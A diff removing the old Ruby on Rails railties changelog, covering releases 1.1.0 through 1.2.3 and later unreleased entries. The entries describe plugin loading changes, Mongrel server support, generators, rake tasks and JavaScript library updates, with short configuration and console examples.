-* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. *Marcel Molina Jr.*
-
-* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. *Marcel Molina Jr.*
-
-* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license *David Heinemeier Hansson*
-
-* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
-
-* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time *David Heinemeier Hansson*
-
-* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff *David Heinemeier Hansson*
-
-* For new apps, generate a random secret for the cookie-based session store. *Jeremy Kemper*
-
-* Stop swallowing errors during rake test *Michael Koziarski*
-
-* Update Rails Initializer to use ActionController::Base#view_paths *Rick Olson*
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
-
-* Plugins may be symlinked in vendor/plugins. #4245 *brandon, progrium@gmail.com*
-
-* Resource generator depends on the model generator rather than duplicating it. #7269 *bscofield*
-
-* Add/Update usage documentation for script/destroy, resource generator and scaffold_resource generator. Closes #7092, #7271, #7267. *bscofield*
-
-* Update to script.aculo.us 1.7.0. *Thomas Fuchs*
-
-* Update to Prototype 1.5.0. *Sam Stephenson*
-
-* Generator: use destination path for diff tempfiles. #7015 *alfeld*
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Allow config.to_prepare to work, make the dispatcher safe to 're require'. *Michael Koziarski, Nicholas Seckar*
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
-
-* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
-
-* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) *David Heinemeier Hansson*
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
-
-* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs*
-
-* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs*
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
-
-* Update to Prototype 1.5.0_rc2. *Sam Stephenson*
-
-* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
-
-* Remove temporary crutch to help ApplicationController be unloaded. Closes #6496. *Nicholas Seckar*
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
-
-* Revert environment changes for autoload_paths. *Michael Koziarski*
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs*
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
-
-* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
-
-* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. *Tim Lucas*
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
-
-* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 *obrie*
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson*
-
- - XPATH support
- - Make Form.getElements() return elements in the correct order
- - fix broken Form.serialize return
-
-* session_migration generator adds an index on updated_at. #6207 *grg*
-
-* script/server creates the tmp/pids directory. #6204 *jonathan*
-
-* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
- documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
-
- References #6031. *Nicholas Seckar*
-
-* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
-
-* Update to Prototype 1.5.0_rc1 *sam*
-
-* Formally Deprecate the old rake tasks. *Michael Koziarski*
-
-* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
-
-* Add Dependencies.load_once_paths. *Nicholas Seckar*
-
-* Updated to script.aculo.us 1.6.2 *Thomas Fuchs*
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
-
-* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
-
-* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
-
-* Add autoload_paths support to Initializer. *Nicholas Seckar*
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
-
-* Clarify usage of script/plugin source. Closes #5344. *James Adam*
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
-
-* Ensure the logger is initialized. #5629 *mike@clarkware.com*
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
-
-* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
-
-* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
-
-* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
-
-* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
-
-* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
-
-* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
-
-* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
-
-* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
-
-* Add observer generator. Closes #5167. *François Beausoleil*
-
-* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
-
-* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
-
-* Distinguish the spawners for different processes *David Heinemeier Hansson*
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
-
-
-## 1.2.3 (March 12th, 2007) ##
-
-* Ruby 1.8.6 compatibility
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 *okkez000@gmail.com, Kaspar Schiess*
-
-* Stop swallowing errors during rake test *Michael Koziarski*
-
-
-## 1.2.2 (February 5th, 2007) ##
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ *Chad Fowler*
-
-* Require the dispatcher for Rails::Configuration#to_prepare. *Rick Olson*
-
-
-## 1.2.1 (January 16th, 2007) ##
-
-* Updated to Active Record 1.15.1, Action Pack 1.13.1, Action Mailer 1.3.1, Action Web Service 1.2.1
-
-
-## 1.2.0 (January 16th, 2007) ##
-
-* Update to Prototype 1.5.0. *Sam Stephenson*
-
-* Generator: use destination path for diff tempfiles. #7015 *alfeld*
-
-* Fixed that webrick would strip leading newlines and hang connection #4156 *psross*
-
-* Ensure plugins are in the Dependencies.load_once_paths collection by default. *Rick Olson*
- If you really want your plugins to reload, add this to the very top of init.rb:
-
- Dependencies.load_once_paths.delete(lib_path)
-
-* Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file. Closes #6852 *fearoffish*
-
-* Fix Webrick Daemon dispatching bug regarding a bad current working directory. Closes #4899 *Rick Olson*
-
-* Make config.plugins affect the load path and the dependencies system. Allows you to control plugin loading order, and keep disabled plugins off the load path. *James Adam*
-
-* Don't generate a components directory in new Rails apps. *Jeremy Kemper*
-
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) *David Heinemeier Hansson*
-
-* Deprecated the name route "root" as it'll be used as a shortcut for map.connect '' in Rails 2.0 *David Heinemeier Hansson*
-
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment *David Heinemeier Hansson*
-
-* Update initializer to load Rails::VERSION as soon as possible. Closes #6698. *Nicholas Seckar*
-
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) *David Heinemeier Hansson*
-
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available *David Heinemeier Hansson*
-
-* Update to Prototype and script.aculo.us [5579]. *Sam Stephenson, Thomas Fuchs*
-
-* Made script/server work with -e and -d when using Mongrel *David Heinemeier Hansson*
-
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action *Tobias Lütke*
-
-* Rails::VERSION::STRING should always be available without having to require 'rails/version'. #6244 *fearoffish*
-
-* Add grep-based fallback to reaper, to work in pidless setups *Jamis Buck*
-
-* Only wrap request processing with our USR1 signal handler so FastCGI can trap it and raise an exception while waiting for connections. Idle processes exit immediately rather than waiting for another request; active processes gracefully exit when the request is finished. *Jeremy Kemper*
-
-* Alter prior change to use require_dependency instead of require_or_load. Causes ApplicationController to be reloaded again. Closes #6587. *Nicholas Seckar*
-
-* Rake: use absolute paths to load lib and vendor tasks so they may be run outside of RAILS_ROOT. #6584 *jchris*
-
-* scaffold_resource generator uses _path named routes and head instead of render :nothing => true. #6545 *Josh Susser*
-
-* Generator can show diff on file collision to help you decide whether to skip or overwrite. #6364 *jeffw, Jeremy Kemper*
-
-* Generated directories are recursively svn added, like mkdir -p. #6416 *NeilW*
-
-* resource and scaffold_resource generators add a restful route to config/routes.rb *Jeremy Kemper*
-
-* Revert environment changes for autoload_paths. *Michael Koziarski*
-
-* Clean up the output of rake stats, de-emphasise components and apis, and remove the indents for tests *Michael Koziarski*
-
-* Added option to script/process/spawner of specifying the binding address #5133 *Dee Zsombor*
-
-* Update environment.rb comments to include config.autoload_paths. Closes #6478 *caio*
-
-* Update scaffold to use new form_tag block functionality. Closes #6480. *Bob Silva*
-
-* Plugin generator: check for class collisions. #4833 *vinbarnes@gmail.com*
-
-* Mailer generator: handle mailers in modules, set mime_version in unit test. *Jeremy Kemper*
-
-* Set $KCODE to 'u' by default to enable the multibyte safe String#chars proxy. *Michael Koziarski*
-
-* Added config.plugins to control which plugins are loaded #6269 [Stefan Kaes]. By default, everything in vendor/plugins will be loaded, but if you specify config.plugins, only those will be loaded. Example:
-
- config.plugins = %w[ routing_navigator simply_helpful ]
-
-* Clean up html on included error pages. *Tim Lucas*
-
-* Fixed default 404.html and 500.htmls to remove extreme ugliness and include human language *David Heinemeier Hansson*
-
-* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
-
-* PostgreSQL: db:test:purge closes open database connections first. #6236 *alex*
-
-* Fixed test:uncommitted on Windows (backslash issue) #4999 *paul@paulbutcher.com*
-
-* Fixed migration creation to work with namespaced models, so script/generate model Gallery::Image will use create_table :gallery_images #6327 *Bob Silva*
-
-* Fixed rename_table on SQLite tables with indexes defined #5942 *brandon@opensoul.org*
-
-* Added default timeout setting of 5 seconds to SQLite3 database.yml configurations *David Heinemeier Hansson*
-
-* Added generated attribute options to script/generate model, like the one found in scaffold_resource and resource [David Heinemeier Hansson]. Examples:
-
- ./script/generate model post title:string created_on:date body:text published:boolean
-
-* Added script/generate resource which works just like scaffold_resource, but creates empty placeholders instead of predefined *David Heinemeier Hansson*
-
-* script/runner can run files, pass on arguments, and be used as a shebang. #6286 *Tuxie, dlpond*
- #!/usr/bin/env /path/to/my/app/script/runner
- # Example: just start using your models as if you are in script/console
- Product.find(:all).each { |product| product.check_inventory }
-
-* Look for rake tasks in plugin subdirs. #6259 *obrie*
-
-* Added map.connect ':controller/:action/:id.:format' as a default route to config/routes.rb *David Heinemeier Hansson*
-
-* session_migration generator adds an index on updated_at. #6207 *grg*
-
-* script/server creates the tmp/pids directory. #6204 *jonathan*
-
-* Fix script/console --sandbox for internal transactions changes. #5738 *Chris McGrath, charles.gerungan@gmail.com*
-
-* Remove the uncanny default of adding all app/models/*/ directories to the load path. This change will break application which expect the current behavior. As
- documented in initializer.rb, the workaround is:
-
- config.autoload_paths += Dir*RAILS_ROOT + '/app/models/*/'*
-
- References #6031. *Nicholas Seckar*
-
-* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
-
-* Formally Deprecate the old rake tasks. *Michael Koziarski*
-
-* Thoroughly test the FCGI dispatcher. #5970 *Kevin Clark*
-
-* Remove Dir.chdir in the Webrick DispatchServlet#initialize method. Fix bad path errors when trying to load config/routes.rb. *Rick Olson*
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Cleaning up tests. *Kevin Clark, Jeremy Kemper*
-
-* Add Dependencies.load_once_paths. *Nicholas Seckar*
-
-* Assign Routing.controller_paths; fix script/about and rails info controller. *Nicholas Seckar*
-
-* Don't warn dispatcher of Reloadable deprecations. *Nicholas Seckar*
-
-* Rearrange application resetting and preparation, fix bug with leaking subclasses hash in ActiveRecord::Base *Rick Olson*
-
- ActiveRecord::Base.reset_subclasses is called before Dependencies are cleared and classes removed.
- ActiveRecord::Base.instantiate_observers is called during a Dispatcher preparation callback.
-
-* Add missing mock directories from the autoload_paths configuration. *Rick Olson*
-
-* Nested controller scaffolding also nests the generated layout. *iain d broadfoot*
-
-* Add "require 'dispatcher'" to webrick server in the continuing quest to squash webrick weirdness. *Nicholas Seckar*
-
-* Add autoload_paths support to Initializer. *Nicholas Seckar*
-
-* Fix Dispatcher.reset_application! so that AR subclasses are removed and Observers re-initialized *after* Reloadable classes are removed. Closes #5743. *Rick Olson*
-
-* Clarify usage of script/plugin source. Closes #5344. *James Adam*
-
-* Add Dispatcher.to_prepare and config.to_prepare to provide a pre-request hook. *Nicholas Seckar*
-
-* Tweak the Rails load order so observers are loaded after plugins, and reloaded in development mode. Closed #5279. *Rick Olson*
-
-* Added that you can change the web server port in config/lighttpd.conf from script/server --port/-p #5465 *mats@imediatec.co.uk*
-
-* script/performance/profiler compatibility with the new ruby-prof, including an option to choose the results printer. #5679 *Shugo Maeda*
-
-* Fixed the failsafe response so it uses either the current recognized controller or ApplicationController. *Rick Olson*
-
-* Make sure script/reaper only reaps dispatcher pids by default, and not the spawner's pid. *Jamis Buck*
-
-* Fix script/plugin about so it uses about.yml and not meta.yml. *James Adam*
-
-* Dispatcher processes rescued actions with the same controller that processed the request. #4625 *sd@notso.net*
-
-* rails -d frontbase to create a new project with a frontbase database.yml. #4945 *mlaster@metavillage.com*
-
-* Ensure the logger is initialized. #5629 *mike@clarkware.com*
-
-* Added Mongrel-spawning capabilities to script/process/spawner. Mongrel will be the default choice if installed, otherwise FCGI is tried [David Heinemeier Hansson]. Examples:
-
- spawner # starts instances on 8000, 8001, and 8002 using Mongrel if available
- spawner fcgi # starts instances on 8000, 8001, and 8002 using FCGI
- spawner mongrel -i 5 # starts instances on 8000, 8001, 8002, 8003, and 8004 using Mongrel
- spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to 9109 using Mongrel if available
- spawner -p 9100 -r 5 # starts 3 instances counting from 9100 to 9102 and attempts start them every 5 seconds
-
- Also note that script/process/reaper is Mongrel capable. So the combination of spawner and reaper is a built-in alternative to something like mongrel_cluster.
-
-* Update scaffolding functional tests to use :id => people(:first) instead of :id => 1. #5612 *evan@protest.net*
-
-* db:test:clone should remove existing tables before reloading the schema. #5607 *sveit@tradeharbor.com*
-
-* Fixed migration generation for class names like ACLController #5197 *brad@madriska.com*
-
-* Added show_source_list and show_call_stack to breakpoints to make it easier to get context #5476 [takiuchi@drecom.co.jp]. Examples:
-
- irb(#<TopController:0x40822a68>):002:0> show_source_list
- 0001 class TopController < ApplicationController
- 0002 def show
- 0003-> breakpoint
- 0004 end
- 0005
- 0006 def index
- 0007 end
- 0008
- => "/path/to/rails/root/app/controllers/top_controller.rb"
-
- irb(#<TopController:0x40822a68>):004:0> show_call_stack 3
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- vendor/rails/railties/lib/breakpoint.rb:536:in `breakpoint'
- app/controllers/top_controller.rb:3:in `show'
- => "/path/to/rails/root/app/controllers/top_controller.rb:3"
-
-* Generate scaffold layout in subdirectory appropriate to its module nesting. #5511 *nils@alumni.rice.edu*
-
-* Mongrel: script/server tails the rails log like it does with lighttpd. Prefer mongrel over lighttpd. #5541 *mike@clarkware.com*
-
-* Don't assume Active Record is available. #5497 *bob@sporkmonger.com*
-
-* Mongrel: script/server works on Win32. #5499 *jeremydurham@gmail.com*
-
-* Remove opts.on { |options[:option_name] } style hash assignment. Closes #4440. *Nick Sieger*
-
-* Mongrel support for script/server. #5475 *jeremydurham@gmail.com*
-
-* Fix script/plugin so it doesn't barf on invalid URLs *Rick Olson*
-
-* Fix plugin install bug at dir with space. (closes #5359) *Yoshimasa NIWA*
-
-* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly. *Rick Olson*
-
-* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 *takiuchi@drecom.co.jp*
-
-* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 *elliot@townx.org*
-
-* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. *Jamis Buck*
-
-* Make "script/plugin install" work with svn+ssh URLs. *Sam Stephenson*
-
-* Added lib/ to the directories that will get application docs generated *David Heinemeier Hansson*
-
-* Add observer generator. Closes #5167. *François Beausoleil*
-
-* Session migration generator obeys pluralize_table_names. #5145 *James Adam*
-
-* rake test:recent understands subdirectories. #2925 *jerrett@bravenet.com*
-
-* The app generator detects the XAMPP package's MySQL socket location. #3832 *elliot@townx.org*
-
-* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 *rcoder, rails-bug@owl.me.uk*
-
-* Distinguish the spawners for different processes *David Heinemeier Hansson*
-
-* Added -n/--process to script/process/spawner name the process pid (default is dispatch) *David Heinemeier Hansson*
-
-* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) *Julian Tarkhanov*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids *David Heinemeier Hansson*
-
-* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids *David Heinemeier Hansson*
-
-
-## 1.1.6 (August 10th, 2006) ##
-
-* Additional security patch
-
-
-## 1.1.5 (August 8th, 2006) ##
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. #4857 *Alisdair McDiarmid*
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
-
-* Includes critical security patch
-
-
-## 1.1.4 (June 29th, 2006) ##
-
-* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. *headius@headius.com*
-
-* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
-
-
-## 1.1.3 (June 27th, 2006) ##
-
-* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
-
-
-## 1.1.2 (April 9th, 2006) ##
-
-* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. *Alisdair McDiarmid*
-
-* Change the scaffolding layout to use yield rather than @content_for_layout. *Marcel Molina Jr.*
-
-* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) *David Heinemeier Hansson*
-
-* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem *David Heinemeier Hansson*
-
-
-## 1.1.1 (April 6th, 2006) ##
-
-* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) *ruben.nine@gmail.com*
-
-* Update to Prototype 1.5.0_rc0 *Sam Stephenson*
-
-* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 *ryan.raaum@gmail.com*
-
-* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html *David Heinemeier Hansson*
-
-* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 *augustz@augustz.com*
-
-* Fixed that rails --version should have the return code of 0 (success) #4560 *blair@orcaware.com*
-
-* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. *Nicholas Seckar*
-
-* Fixed that spawner should daemonize if running in repeat mode *David Heinemeier Hansson*
-
-* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release *David Heinemeier Hansson*
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
-
-* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 *starr@starrnhorne.com*
-
-* Make Rails::VERSION implicitly loadable #4491. *Nicholas Seckar*
-
-* Fixed rake rails:freeze:gems #4518 *benji@silverinsanity.com*
-
-* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with *David Heinemeier Hansson*
-
-* Added gem binding of apps generated through the rails command to the gems of they were generated with *Nicholas Seckar*
-
-* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf *David Heinemeier Hansson*
-
-* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf *David Heinemeier Hansson*
-
-* Avoid passing escapeHTML non-string in Rails' info controller *Nicholas Seckar*
-
-
-## 1.1.0 (March 27th, 2006) ##
-
-* Allow db:fixtures:load to load a subset of the applications fixtures. *Chad Fowler*
-
- ex.
-
- rake db:fixtures:load FIXTURES=customers,plans
-
-* Update to Prototype 1.5.0_pre1 *Sam Stephenson*
-
-* Update to script.aculo.us 1.6 *Thomas Fuchs*
-
-* Add an integration_test generator *Jamis Buck*
-
-* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. *Marcel Molina Jr.*
-
- ex.
-
- >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
- <option value="1">a</option>
- <option value="2">b</option>
- <option value="3">c</option>
- => nil
-
